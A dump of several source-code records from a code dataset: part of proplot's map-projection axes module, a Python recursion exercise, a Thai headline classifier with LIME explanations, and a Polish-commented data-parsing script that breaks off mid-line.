attribute used extensively by GeoAxes methods, and by builtin one\n\n # Add hidden properties\n self._gridliners = []\n self.img_factories = []\n self._done_img_factory = False\n self.outline_patch = None\n self.background_patch = None\n\n # Call BaseAxes\n super().__init__(*args, map_projection=map_projection, **kwargs)\n # Apply circle boundary\n name = map_projection.proj4_params['proj']\n if name not in self._proj_circles:\n self.set_global() # see: https://stackoverflow.com/a/48956844/4970632\n else:\n if isinstance(map_projection, (ccrs.NorthPolarStereo, projs.NorthPolarAzimuthalEquidistant, projs.NorthPolarLambertAzimuthalEqualArea)):\n centerlat = 90\n elif isinstance(map_projection, (ccrs.SouthPolarStereo, projs.SouthPolarAzimuthalEquidistant, projs.SouthPolarLambertAzimuthalEqualArea)):\n centerlat = -90\n eps = 1e-3 # had bug with full -180, 180 range when lon_0 was not 0\n center = self.projection.proj4_params['lon_0']\n self.set_extent([center - 180 + eps, center + 180 - eps, boundinglat, centerlat], ccrs.PlateCarree()) # use platecarree transform\n self.set_boundary(projs.Circle(self._n_bounds), transform=self.transAxes)\n\n def __getattribute__(self, attr, *args):\n \"\"\"Applies the `~proplot.wrappers.cmap_wrapper`, `~proplot.wrappers.cycle_wrapper`,\n `~proplot.wrappers.enforce_centers`, `~proplot.wrappers.enforce_edges`,\n `~proplot.wrappers.cartopy_gridfix`, `~proplot.wrappers.cartopy_transform`,\n `~proplot.wrappers.cartopy_crs`, `~proplot.wrappers.plot_wrapper`,\n `~proplot.wrappers.scatter_wrapper`, `~proplot.wrappers.fill_between_wrapper`,\n and `~proplot.wrappers.fill_betweenx_wrapper` wrappers.\"\"\"\n obj = super().__getattribute__(attr, *args)\n if callable(obj):\n # Step 5) Color usage wrappers\n if attr in wrappers._cmap_methods:\n obj = wrappers._cmap_wrapper(self, obj)\n elif attr in wrappers._cycle_methods:\n obj = wrappers._cycle_wrapper(self, obj)\n # Step 4) Fix coordinate grid\n if attr in wrappers._edges_methods or attr in wrappers._centers_methods:\n obj = wrappers._cartopy_gridfix(self, obj)\n # Step 3) Individual plot method wrappers\n if attr=='plot':\n obj = wrappers._plot_wrapper(self, obj)\n elif attr=='scatter':\n obj = wrappers._scatter_wrapper(self, obj)\n elif attr in wrappers._edges_methods:\n obj = wrappers._enforce_edges(self, obj)\n elif attr in wrappers._centers_methods:\n obj = wrappers._enforce_centers(self, obj)\n # Step 2) Better default keywords\n if attr in wrappers._transform_methods:\n obj = wrappers._cartopy_transform(self, obj)\n elif attr in wrappers._crs_methods:\n obj = wrappers._cartopy_crs(self, obj)\n # Step 1) Parse args input\n if attr in wrappers._2d_methods:\n obj = wrappers._autoformat_2d_(self, obj)\n elif attr in wrappers._1d_methods:\n obj = wrappers._autoformat_1d_(self, obj)\n # Step 0) Special wrappers\n if attr=='fill_between':\n obj = wrappers._fill_between_wrapper(self, obj)\n elif attr=='fill_betweenx':\n obj = wrappers._fill_betweenx_wrapper(self, obj)\n return obj\n\n def format_partial(self, patch_kw={}, **kwargs):\n # Documentation inherited from ProjectionAxes\n import cartopy.feature as cfeature\n import cartopy.crs as ccrs\n # Parse flexible input\n grid, _, lonlim, latlim, lonlocator, latlocator, labels, lonlabels, latlabels, kwargs = \\\n super().format_partial(**kwargs)\n\n # Projection extent\n # NOTE: They may add this as part of set_xlim and set_ylim in the\n # near future; see: https://github.com/SciTools/cartopy/blob/master/lib/cartopy/mpl/geoaxes.py#L638\n # WARNING: The set_extent method tries to set a *rectangle* between\n # the *4* (x,y) coordinate pairs (each corner), so something like\n # (-180,180,-90,90) will result in *line*, causing error!\n if lonlim is not None or latlim is not None:\n lonlim = lonlim or [None, None]\n latlim = latlim or [None, None]\n lonlim, latlim = [*lonlim], [*latlim]\n lon_0 = self.projection.proj4_params.get('lon_0', 0)\n if lonlim[0] is None:\n lonlim[0] = lon_0 - 180\n if lonlim[1] is None:\n lonlim[1] = lon_0 + 180\n eps = 1e-3 # had bug with full -180, 180 range when lon_0 was not 0\n lonlim[0] += eps\n if latlim[0] is None:\n latlim[0] = -90\n if latlim[1] is None:\n latlim[1] = 90\n self.set_extent([*lonlim, *latlim], ccrs.PlateCarree())\n\n # Draw gridlines\n # WARNING: For some reason very weird side effects happen if you try\n # to call gridlines twice on same axes. So impossible to do 'major'\n # and 'minor' gridlines.\n if grid:\n # Make old one invisible\n kw = rc.fill({\n 'alpha': 'geogrid.alpha',\n 'color': 'geogrid.color',\n 'linewidth': 'geogrid.linewidth',\n 'linestyle': 'geogrid.linestyle',\n }, cache=False)\n if self._cartopy_gl is not None:\n gl = self._cartopy_gl\n gl.xlines = False\n gl.xlabels_top = False\n gl.xlabels_bottom = False\n gl.ylines = False\n gl.ylabels_left = False\n gl.ylabels_right = False\n # Draw new ones\n labels = labels and isinstance(self.projection, (ccrs.Mercator, ccrs.PlateCarree))\n gl = self.gridlines(draw_labels=labels, zorder=100, **kw)\n self._cartopy_gl = gl\n # Grid locations\n eps = 1e-3\n if latlocator[0]==-90:\n latlocator[0] += eps\n if latlocator[-1]==90:\n latlocator[-1] -= eps\n gl.ylocator = mticker.FixedLocator(latlocator)\n gl.xlocator = mticker.FixedLocator(lonlocator)\n # Grid labels\n if labels:\n from cartopy.mpl.gridliner import LONGITUDE_FORMATTER, LATITUDE_FORMATTER\n self._gridliner_on = True\n gl.xformatter = LONGITUDE_FORMATTER\n gl.yformatter = LATITUDE_FORMATTER\n gl.xlabels_bottom, gl.xlabels_top = lonlabels[2:]\n gl.ylabels_left, gl.ylabels_right = latlabels[:2]\n else:\n self._gridliner_on = False\n\n # Geographic features\n # WARNING: Seems cartopy features can't be updated!\n # See: https://scitools.org.uk/cartopy/docs/v0.14/_modules/cartopy/feature.html#Feature\n # Change the _kwargs property also does *nothing*\n # WARNING: Changing linewidth is evidently impossible with cfeature. Bug?\n # See: https://stackoverflow.com/questions/43671240/changing-line-width-of-cartopy-borders\n # NOTE: The natural_earth_shp method is deprecated, use add_feature instead.\n # See: https://cartopy-pelson.readthedocs.io/en/readthedocs/whats_new.html\n # NOTE: The e.g. cfeature.COASTLINE features are just for convenience,\n # hi res versions. Use cfeature.COASTLINE.name to see how it can be looked\n # up with NaturalEarthFeature.\n reso = rc.get('reso')\n if reso not in ('lo','med','hi'):\n raise ValueError(f'Invalid resolution {reso}.')\n reso = {\n 'lo': '110m',\n 'med': '50m',\n 'hi': '10m',\n }.get(reso)\n features = {\n 'land': ('physical', 'land'),\n 'ocean': ('physical', 'ocean'),\n 'lakes': ('physical', 'lakes'),\n 'coast': ('physical', 'coastline'),\n 'rivers': ('physical', 'rivers_lake_centerlines'),\n 'borders': ('cultural', 'admin_0_boundary_lines_land'),\n 'innerborders': ('cultural', 'admin_1_states_provinces_lakes'),\n }\n for name, args in features.items():\n # Get feature\n if not rc.get(name): # toggled\n continue\n if getattr(self, f'_{name}', None): # already drawn\n continue\n feat = cfeature.NaturalEarthFeature(*args, reso)\n # Customize\n # For 'lines', need to specify edgecolor and facecolor individually\n # See: https://github.com/SciTools/cartopy/issues/803\n kw = rc.category(name, cache=False)\n if name in ('coast', 'rivers', 'borders', 'innerborders'):\n kw['edgecolor'] = kw.pop('color')\n kw['facecolor'] = 'none'\n else:\n kw['linewidth'] = 0\n if name in ('ocean',):\n kw['zorder'] = 0.5 # below everything!\n self.add_feature(feat, **kw)\n setattr(self, f'_{name}', feat)\n\n # Update patch\n kw_face = rc.fill({\n 'facecolor': 'map.facecolor'\n })\n kw_face.update(patch_kw)\n self.background_patch.update(kw_face)\n kw_edge = rc.fill({\n 'edgecolor': 'map.edgecolor',\n 'linewidth': 'map.linewidth'\n })\n self.outline_patch.update(kw_edge)\n\n # Pass stuff to parent formatter, e.g. title and abc labeling\n BaseAxes.format_partial(self, **kwargs)\n\nclass ProjectionAxesBasemap(ProjectionAxes):\n \"\"\"Axes subclass for plotting `~mpl_toolkits.basemap` projections. The\n `~mpl_toolkits.basemap.Basemap` projection instance is added as\n the `m` attribute, but this is all abstracted away -- you can use\n `~matplotlib.axes.Axes` methods like `~matplotlib.axes.Axes.plot` and\n `~matplotlib.axes.Axes.contour` with your raw longitude-latitude data.\"\"\"\n name = 'basemap'\n \"\"\"The registered projection name.\"\"\"\n # Note non-rectangular projections; for rectnagular ones, axes spines are\n # used as boundaries, but for these, have different boundary.\n _proj_non_rectangular = (\n # Always non-rectangular\n 'ortho', 'geos', 'nsper',\n 'moll', 'hammer', 'robin',\n 'eck4', 'kav7', 'mbtfpq', # last one is McBryde-Thomas flat polar quartic\n 'sinu', 'vandg', # last one is van der Grinten\n # Only non-rectangular if we pass 'round' kwarg\n # This is done by default, currently no way to change it\n 'npstere', 'spstere', 'nplaea',\n 'splaea', 'npaeqd', 'spaeqd',\n )\n def __init__(self, *args, map_projection=None, **kwargs):\n \"\"\"\n Parameters\n ----------\n map_projection : `~mpl_toolkits.basemap.Basemap`\n The `~mpl_toolkits.basemap.Basemap` instance.\n **kwargs\n Passed to `BaseAxes.__init__`.\n\n See also\n --------\n `~proplot.proj`, `~proplot.subplots.subplots`\n \"\"\"\n # Map boundary notes\n # * Must set boundary before-hand, otherwise the set_axes_limits method called\n # by mcontourf/mpcolormesh/etc draws two mapboundary Patch objects called \"limb1\" and\n # \"limb2\" automatically: one for fill and the other for the edges\n # * Then, since the patch object in _mapboundarydrawn is only the fill-version, calling\n # drawmapboundary again will replace only *that one*, but the original visible edges\n # are still drawn -- so e.g. you can't change the color\n # * If you instead call drawmapboundary right away, _mapboundarydrawn will contain\n # both the edges and the fill; so calling it again will replace *both*\n import mpl_toolkits.basemap as mbasemap # verify package is available\n if not isinstance(map_projection, mbasemap.Basemap):\n raise ValueError('You must initialize ProjectionAxesBasemap with map_projection=(basemap.Basemap instance).')\n self.m = map_projection\n self.boundary = None\n self._hasrecurred = False # use this so we can override plotting methods\n self._mapboundarydrawn = None\n self._parallels = None\n self._meridians = None\n super().__init__(*args, **kwargs)\n\n def __getattribute__(self, attr, *args):\n \"\"\"Applies the `~proplot.wrappers.cmap_wrapper`, `~proplot.wrappers.cycle_wrapper`,\n `~proplot.wrappers.enforce_centers`, `~proplot.wrappers.enforce_edges`,\n `~proplot.wrappers.basemap_gridfix`, `~proplot.wrappers.basemap_latlon`,\n `~proplot.wrappers.plot_wrapper`, `~proplot.wrappers.scatter_wrapper`,\n `~proplot.wrappers.fill_between_wrapper`, and `~proplot.wrappers.fill_betweenx_wrapper`\n wrappers. Also wraps all plotting methods with the hidden ``_basemap_call``\n and ``_general_norecurse`` wrappers. Respectively, these call methods on\n the `~mpl_toolkits.basemap.Basemap` instance and prevent recursion\n issues arising from internal `~mpl_toolkits.basemap` calls to the\n axes methods.\"\"\"\n # WARNING: Never ever try to just make blanket methods on the Basemap\n # instance accessible from axes instance! Can of worms and had bunch of\n # weird errors! Just pick the ones you think user will want to use.\n obj = super().__getattribute__(attr, *args)\n if attr in wrappers._latlon_methods or attr in wrappers._edges_methods \\\n or attr in wrappers._centers_methods:\n # Step 6) Call identically named Basemap object method\n obj = wrappers._basemap_call(self, obj)\n # Step 5) Color usage wrappers\n if attr in wrappers._cmap_methods:\n obj = wrappers._cmap_wrapper(self, obj)\n elif attr in wrappers._cycle_methods:\n obj = wrappers._cycle_wrapper(self, obj)\n # Step 4) Fix coordinate grid\n if attr in wrappers._edges_methods or attr in wrappers._centers_methods:\n obj = wrappers._basemap_gridfix(self, obj)\n # Step 3) Individual plot method wrappers\n if attr=='plot':\n obj = wrappers._plot_wrapper(self, obj)\n elif attr=='scatter':\n obj = wrappers._scatter_wrapper(self, obj)\n elif attr in wrappers._edges_methods:\n obj = wrappers._enforce_edges(self, obj)\n elif attr in wrappers._centers_methods:\n obj = wrappers._enforce_centers(self, obj)\n # Step 2) Better default keywords\n if attr in wrappers._latlon_methods:\n obj = wrappers._basemap_latlon(self, obj)\n # Step 1) Parse args input\n if attr in wrappers._2d_methods:\n obj = wrappers._autoformat_2d_(self, obj)\n elif attr in wrappers._1d_methods:\n obj = wrappers._autoformat_1d_(self, obj)\n # Step 0) Special wrappers\n if attr=='fill_between':\n obj = wrappers._fill_between_wrapper(self, obj)\n elif attr=='fill_betweenx':\n obj = wrappers._fill_betweenx_wrapper(self, obj)\n # Recursion fix at top level\n obj = wrappers._general_norecurse(self, obj)\n return obj\n\n def format_partial(self, patch_kw={}, **kwargs):\n # Documentation inherited from ProjectionAxes\n grid, latmax, lonlim, latlim, lonlocator, latlocator, labels, lonlabels, latlabels, kwargs = \\\n super().format_partial(**kwargs)\n if lonlim is not None or latlim is not None:\n warnings.warn('You cannot \"zoom into\" a basemap projection after creating it. Pass a proj_kw dictionary in your call to subplots, with any of the following basemap keywords: llcrnrlon, llcrnrlat, urcrnrlon, urcrnrlat, llcrnrx, llcrnry, urcrnrx, urcrnry, width, or height.')\n\n # Map boundary\n # * First have to *manually replace* the old boundary by just deleting\n # the original one\n # * If boundary is drawn successfully should be able to call\n # self.m._mapboundarydrawn.set_visible(False) and edges/fill color disappear\n # * For now will enforce that map plots *always* have background whereas\n # axes plots can have transparent background\n kw_face = rc.fill({\n 'facecolor': 'map.facecolor'\n })\n kw_face.update(patch_kw)\n kw_edge = rc.fill({\n 'linewidth': 'map.linewidth',\n 'edgecolor': 'map.edgecolor'\n })\n self.axesPatch = self.patch # bugfix or something\n if self.m.projection in self._proj_non_rectangular:\n self.patch.set_alpha(0) # make patch invisible\n if not self.m._mapboundarydrawn:\n p = self.m.drawmapboundary(ax=self) # set fill_color to 'none' to make transparent\n else:\n p = self.m._mapboundarydrawn\n p.update({**kw_face, **kw_edge})\n p.set_rasterized(False) # not sure about this; might be rasterized\n p.set_clip_on(False) # so edges of *line* denoting boundary aren't cut off\n self.boundary = p # not sure why this one\n else:\n self.patch.update({**kw_face, 'edgecolor':'none'})\n for spine in self.spines.values():\n spine.update(kw_edge)\n\n # Longitude/latitude lines\n # Make sure to turn off clipping by invisible axes boundary; otherwise\n # get these weird flat edges where map boundaries, parallel/meridian markers come up to the axes bbox\n if grid:\n lkw = rc.fill({\n 'alpha': 'geogrid.alpha',\n 'color': 'geogrid.color',\n 'linewidth': 'geogrid.linewidth',\n 'linestyle': 'geogrid.linestyle',\n }, cache=False)\n tkw = rc.fill({\n 'color': 'geogrid.color',\n 'fontsize': 'geogrid.labelsize',\n }, cache=False)\n # Remove old ones\n if self._parallels:\n for pi in self._parallels.values():\n for obj in [i for j in pi for i in j]: # magic\n obj.set_visible(False)\n # Change from left/right/bottom/top to left/right/top/bottom\n if labels:\n latlabels[2:] = latlabels[2:][::-1]\n else:\n latlabels = 4*[0]\n p = self.m.drawparallels(latlocator, latmax=latmax, labels=latlabels, ax=self)\n for pi in p.values(): # returns dict, where each one is tuple\n # Tried passing clip_on to the below, but it does nothing; must set\n # for lines created after the fact\n for obj in [i for j in pi for i in j]: # magic\n if isinstance(obj, mtext.Text):\n obj.update(tkw)\n else:\n obj.update(lkw)\n self._parallels = p\n\n # Longitudes\n # Remove old ones\n if self._meridians:\n for pi in self._meridians.values():\n for obj in [i for j in pi for i in j]: # magic\n obj.set_visible(False)\n # Draw new ones\n if labels:\n lonlabels[2:] = lonlabels[2:][::-1]\n else:\n lonlabels = 4*[0]\n p = self.m.drawmeridians(lonlocator, latmax=latmax, labels=lonlabels, ax=self)\n for pi in p.values():\n for obj in [i for j in pi for i in j]: # magic\n if isinstance(obj, mtext.Text):\n obj.update(tkw)\n else:\n obj.update(lkw)\n self._meridians = p\n\n # Geography\n # TODO: Allow setting the zorder.\n # NOTE: Also notable are drawcounties, blumarble, drawlsmask,\n # shadedrelief, and etopo methods.\n features = {\n 'land': 'fillcontinents',\n 'coast': 'drawcoastlines',\n 'rivers': 'drawrivers',\n 'borders': 'drawcountries',\n 'innerborders': 'drawstates',\n }\n for name, method in features.items():\n if not rc.get(name): # toggled\n continue\n if getattr(self, f'_{name}', None): # already drawn\n continue\n kw = rc.category(name, cache=False)\n feat = getattr(self.m, method)(ax=self)\n feat.update(kw)\n setattr(self, f'_{name}', feat)\n\n # Pass stuff to parent formatter, e.g. title and abc labeling\n BaseAxes.format_partial(self, **kwargs)\n\n# Register the projections\nmproj.register_projection(BaseAxes)\nmproj.register_projection(PanelAxes)\nmproj.register_projection(PolarAxes)\nmproj.register_projection(CartesianAxes)\nmproj.register_projection(ProjectionAxesBasemap)\nmproj.register_projection(ProjectionAxesCartopy)\n\n","sub_path":"proplot/axes.py","file_name":"axes.py","file_ext":"py","file_size_in_byte":117913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"138887587","text":"# -*- coding: utf-8 -*-\n# @Time : 2019-05-26 15:45\n# @Author : jesse\n# @File : python递归函数.py\n\n\n#计算10以内的和\n\n# def func(n):\n# if n == 1:\n# return n\n#\n#\n# return func(n-1) + n\n#\n# print(func(10))\n\n#计算10的斐波那契数列\n\n#1. 计算斐波那契数列中的第10个元素值\n# def fib(x):\n# if (x == 1 or x == 2):\n#\n# return 1\n# return fib(x-1) +fib(x-2)\n#\n#\n# print(fib(10))\n\n#2.计算斐波那契10个元素的列表\n# l1 = []\n# def fib(x):\n# if x == 0:\n# return 0\n# if (x == 1 or x == 2):\n# return 1\n# return fib(x - 1) + fib(x - 2)\n#\n# for i in range(10):\n# l1.append(fib(i))\n#\n# print(l1)\n\n#2.2 下面这个写法也能实现同样的效果,此外还能定义其实数字\n\nl1 = []\n\ndef fib(n1,n2,nt):\n if len(l1) == nt:\n return \"stop\"\n\n l1.append(n1)\n n3 = n1 + n2\n fib(n2,n3,nt)\n\nfib(21,22,10)\nprint(l1)\n","sub_path":"python02-function/python递归函数.py","file_name":"python递归函数.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"139805935","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Text Classification using Nueral Network and LIME\n# \n# Local Interpretable Model-Agnostic Explanations\n# \n# ![](https://d33wubrfki0l68.cloudfront.net/b342157befa54829f056658dddcd2e897062417d/46b71/static/afa7e0536886ee7152dfa4c628fe59f0/5040b/text_process_prediction.png)\n# \n# Author: Kao Panboonyuen\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport sklearn\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import f1_score\n\nfrom pythainlp import word_tokenize\nfrom tqdm import tqdm_notebook\nfrom pythainlp.ulmfit import process_thai\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom typing import Collection, Callable, Tuple\n\n__all__ = ['top_feats_label', 'top_feats_all', 'plot_top_feats']\n\ndef top_feats_label(X: np.ndarray, features: Collection[str], label_idx: Collection[bool] = None,\n min_val: float = 0.1, agg_func: Callable = np.mean)->pd.DataFrame:\n '''\n original code (Thomas Buhrman)[from https://buhrmann.github.io/tfidf-analysis.html]\n rank features of each label by their encoded values (CountVectorizer, TfidfVectorizer, etc.)\n aggregated with `agg_func`\n :param X np.ndarray: document-value matrix\n :param features Collection[str]: feature names\n :param label_idx Collection[int]: position of rows with specified label\n :param min_val float: minimum value to take into account for each feature\n :param agg_func Callable: how to aggregate features such as `np.mean` or `np.sum`\n :return: a dataframe with `feature`, `score` and `ngram`\n '''\n res = X[label_idx] if label_idx is not None else X\n res[res < min_val] = 0\n res_agg = agg_func(res, axis=0)\n df = pd.DataFrame([(features[i], res_agg[i]) for i in np.argsort(res_agg)[::-1]])\n df.columns = ['feature','score']\n df['ngram'] = df.feature.map(lambda x: len(set(x.split(' '))))\n return df\n\ndef top_feats_all(X: np.ndarray, y: np.ndarray, features: Collection[str], min_val: float = 0.1, \n agg_func: Callable = np.mean)->Collection[pd.DataFrame]:\n '''\n original code (Thomas Buhrman)[from https://buhrmann.github.io/tfidf-analysis.html]\n for all labels, rank features of each label by their encoded values (CountVectorizer, TfidfVectorizer, etc.)\n aggregated with `agg_func`\n :param X np.ndarray: document-value matrix\n :param y np.ndarray: labels\n :param features Collection[str]: feature names\n :param min_val float: minimum value to take into account for each feature\n :param agg_func Callable: how to aggregate features such as `np.mean` or `np.sum`\n :return: a list of dataframes with `rank` (rank within label), `feature`, `score`, `ngram` and `label`\n '''\n labels = np.unique(y)\n dfs = []\n for l in labels:\n label_idx = (y==l)\n df = top_feats_label(X,features,label_idx,min_val,agg_func).reset_index()\n df['label'] = l\n df.columns = ['rank','feature','score','ngram','label']\n dfs.append(df)\n return dfs\n\ndef plot_top_feats(dfs: Collection[pd.DataFrame], top_n: int = 25, ngram_range: Tuple[int,int]=(1,2),)-> None:\n '''\n original code (Thomas Buhrman)[from https://buhrmann.github.io/tfidf-analysis.html]\n plot top features from a collection of `top_feats_all` dataframes\n :param dfs Collection[pd.DataFrame]: `top_feats_all` dataframes\n :param top_n int: number of top features to show\n :param ngram_range Tuple[int,int]: range of ngrams for features to show\n :return: nothing\n '''\n fig = plt.figure(figsize=(12, 9), facecolor=\"w\")\n x = np.arange(top_n)\n for i, df in enumerate(dfs):\n df = df[(df.ngram>=ngram_range[0])&(df.ngram<=ngram_range[1])][:top_n]\n ax = fig.add_subplot(1, len(dfs), i+1)\n ax.spines[\"top\"].set_visible(False)\n ax.spines[\"right\"].set_visible(False)\n ax.set_frame_on(False)\n ax.get_xaxis().tick_bottom()\n ax.get_yaxis().tick_left()\n ax.set_xlabel(\"score\", labelpad=16, fontsize=14)\n ax.set_title(f\"label = {str(df.label[0])}\", fontsize=16)\n ax.ticklabel_format(axis='x', style='sci', scilimits=(-2,2))\n ax.barh(x, df.score, align='center', color='#3F5D7D')\n ax.set_yticks(x)\n ax.set_ylim([-1, x[-1]+1])\n ax.invert_yaxis()\n yticks = ax.set_yticklabels(df.feature)\n plt.subplots_adjust(bottom=0.09, right=0.97, left=0.15, top=0.95, wspace=0.52)\n plt.show()\n\n\n# In[3]:\n\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import confusion_matrix, classification_report\n\n\n# In[4]:\n\n\ndata_df = pd.read_csv('CIND1_2.csv')\n# Show the top 5 rows\ndisplay(data_df.head())\n# Summarize the data\ndata_df.describe()\n\n\n# # Start (Split Train/Test)\n\n# In[5]:\n\n\nfrom sklearn.model_selection import train_test_split\ntrain_df, valid_df = train_test_split(data_df, test_size=0.15, random_state=2021)\ntrain_df = train_df.reset_index(drop=True)\nvalid_df = valid_df.reset_index(drop=True)\n\n\n# In[6]:\n\n\ny = data_df.target\n\n\n# In[7]:\n\n\ntrain_df.head()\n\n\n# In[8]:\n\n\ntrain_df.shape\n\n\n# In[9]:\n\n\ntrain_df.target.value_counts() / train_df.shape[0]\n\n\n# In[10]:\n\n\n#dependent variables\ny_train = train_df[\"target\"]\ny_valid = valid_df[\"target\"]\n\n\n# In[11]:\n\n\n#text faetures\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.linear_model import LogisticRegression\n\ntfidf = TfidfVectorizer(tokenizer=process_thai, ngram_range=(1,2), min_df=20, sublinear_tf=True)\ntfidf_fit = tfidf.fit(data_df[\"headline\"])\n# text_train = tfidf_fit.transform(train_df[\"headline\"])\n# text_valid = tfidf_fit.transform(valid_df[\"headline\"])\n# text_train.shape, text_valid.shape\n\n\n# # TFIDF (Transform)\n\n# In[12]:\n\n\nfrom sklearn.model_selection import train_test_split\n\ntext_train, text_test, y_train, y_test = train_test_split(data_df, y,\n random_state=42,\n test_size=0.25,\n stratify=y)\n\n\n# In[13]:\n\n\nX_train_tfidf = tfidf_fit.transform(text_train[\"headline\"])\nX_test_tfidf = tfidf_fit.transform(text_test[\"headline\"])\n\nX_train_tfidf.shape, X_test_tfidf.shape\n\n\n# In[14]:\n\n\n# #visualize texts\n# # from visualize import top_feats_all, plot_top_feats\n# features = tfidf_fit.get_feature_names()\n# %time ts = top_feats_all(text_train.toarray(), y_train, features)\n# print(ts[0].shape)\n# ts[0].head()\n\n\n# In[15]:\n\n\n# %time plot_top_feats(ts)\n\n\n# # Train Model (Neural Network Model)\n# \n# ![](https://scikit-learn.org/stable/_images/multilayerperceptron_network.png)\n\n# In[16]:\n\n\nfrom sklearn.neural_network import MLPClassifier\n\n\n# In[17]:\n\n\nprint(X_train_tfidf.shape, X_test_tfidf.shape)\n\nrf = lf = MLPClassifier(solver='lbfgs', \n alpha=1e-5,\n hidden_layer_sizes=(5, 2), \n random_state=1)\n\nrf.fit(X_train_tfidf, y_train)\n\n\n# In[18]:\n\n\n# print(X_train_tfidf.shape, X_test_tfidf.shape)\n\n# rf = RandomForestClassifier()\n\n# rf.fit(X_train_tfidf, y_train)\n\n\n# In[19]:\n\n\nprint(\"Test Accuracy : %.2f\"%rf.score(X_test_tfidf, y_test))\nprint(\"Train Accuracy : %.2f\"%rf.score(X_train_tfidf, y_train))\nprint()\nprint(\"Confusion Matrix : \")\nprint(confusion_matrix(y_test, rf.predict(X_test_tfidf)))\nprint()\nprint(\"Classification Report\")\nprint(classification_report(y_test, rf.predict(X_test_tfidf)))\n\n\n# In[20]:\n\n\ndef pred_fn(text):\n text_transformed = tfidf_fit.transform(text)\n return rf.predict_proba(text_transformed)\n\npred_fn(text_test.headline)\n\n\n# In[21]:\n\n\nfrom lime import lime_text\n\n# train_df.target.unique() = (['STABLE', 'UP', 'DOWN'] \n\nexplainer = lime_text.LimeTextExplainer(class_names=(['STABLE', 'UP', 'DOWN']))\nexplainer\n\n\n# In[22]:\n\n\ntrain_df.target.unique()\n\n\n# In[24]:\n\n\nidx = 0\n\ntext_test.headline\ntext_test.headline.values.reshape(-1,1)[idx][0]\n\n\n# # Explainable AI\n\n# In[30]:\n\n\nimport random \n\nidx = random.randint(1, len(text_test))\n\nprint(\"Actual Text : \", text_test.headline)\n\nprint(\"Prediction : \", rf.predict(X_test_tfidf[1].reshape(1,-1))[0])\nprint(\"Actual : \", y_test)\n\nfor i in range(0,2):\n explanation = explainer.explain_instance(text_test.headline.values.reshape(-1,1)[i][0], classifier_fn=pred_fn)\n explanation.show_in_notebook()\n\n\n# # Explainable AI - True Type\n\n# In[31]:\n\n\npreds = rf.predict(X_test_tfidf)\n\ntrue_preds = np.argwhere((preds == y_test.values)).flatten()\n\n\n# In[32]:\n\n\nidx = random.choice(true_preds)\n\nprint(\"Actual Text : \", text_test.headline)\n\nprint(\"Prediction : \", rf.predict(X_test_tfidf[1].reshape(1,-1))[0])\nprint(\"Actual : \", y_test)\n\nfor i in range(0,2):\n explanation = explainer.explain_instance(text_test.headline.values.reshape(-1,1)[i][0], classifier_fn=pred_fn)\n explanation.show_in_notebook()\n\n\n# # Explainable AI - False Type\n\n# In[33]:\n\n\npreds = rf.predict(X_test_tfidf)\n\nfalse_preds = np.argwhere((preds != y_test.values)).flatten()\n\n\n# In[34]:\n\n\nidx = random.choice(false_preds)\n\nprint(\"Actual Text : \", text_test.headline)\n\nprint(\"Prediction : \", rf.predict(X_test_tfidf[1].reshape(1,-1))[0])\nprint(\"Actual : \", y_test)\n\nfor i in range(0,2):\n explanation = explainer.explain_instance(text_test.headline.values.reshape(-1,1)[i][0], classifier_fn=pred_fn)\n explanation.show_in_notebook()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"653886166","text":"# dodaje pierwsza wartosc id z daty do listy bo jest odpowiednia\r\n# jako jedyna nie jest polaczona z data\r\nidtimestamplist= []\r\nidtimestamplist.append(data_timestamp[0])\r\n\r\n\r\n#tworze zmienna o dlugosci list dat wczytanych, -1 poniewaz pirwszy\r\n# obiekt po splicie tworzy jeden wiecej wiersz\r\n\r\nlength_of_list_timestamp = len(data_timestamp) - 1\r\n\r\n\r\n# kolejne wartosci daty i id sa polaczone a pomoca znaku \\n\r\n# rodzielam te wartosci i zapisuje w odpowiednie listy\r\ndatelist = []\r\n\r\nfor n in range(1,length_of_list_timestamp):\r\n helplist =[]\r\n helplist.append(data_timestamp[n].split(\"\\n\"))\r\n datelist.append(helplist[0][0])\r\n idtimestamplist.append(helplist[0][1])\r\n#dodatej ostatni element z daty timestamp do list datelist\r\n# poniewaz w liscie stworzonej wyzej nie bierzemy pod uwage ostatniego elementy\r\n\r\ndatelist.append(data_timestamp[length_of_list_timestamp])\r\n\r\n\r\n# mamy 4 kolumny wiec dlugosc jest dzielona\r\n# bo czytamy jako liste wszystkie kolumny\r\nlength_of_list_sample = len(data_sample)//4\r\n\r\n\r\n# dlugosc jest oddzielona \\n od kolejnej zmiennej\r\nlengthlist= []\r\nidsamplelist = [] #lista na pierwsza kolumne do rozpoznania godzin\r\nidsamplelist.append(data_sample[0])\r\nfor n in range(0, length_of_list_sample):\r\n lengthvariable = 4*n\r\n helplist = []\r\n helplist.append(data_sample[lengthvariable].split(\"\\n\"))\r\n lengthlist.append(helplist[0][0])\r\n if n>0:\r\n idsamplelist.append(helplist[0][1])\r\n\r\n# pierwsza wartosc jest bledna i bo zaczyna sie od id\r\n# dlugosc jest polaczona z wartoscia binarna dlugosc\\n000001\r\n#usuwamy piereszy element naszej listy i dodajemy ostatnia z bazy danych ktorej brakuje\r\n\r\nlengthlist.pop(0)\r\nlengthlist.append(data_sample[len(data_sample)-1])\r\n\r\n\r\n\r\n# cisnienie do listy\r\nglobal barlist\r\nbarlist = []\r\nfor n in range(0,length_of_list_sample):\r\n barlistvariable = 3+(4*n)\r\n barlist.append(data_sample[barlistvariable])\r\n\r\n\r\n# moc do listy\r\nglobal flist\r\nflist= []\r\nfor n in range(0,length_of_list_sample):\r\n flistvariable = 2 +(4*n)\r\n 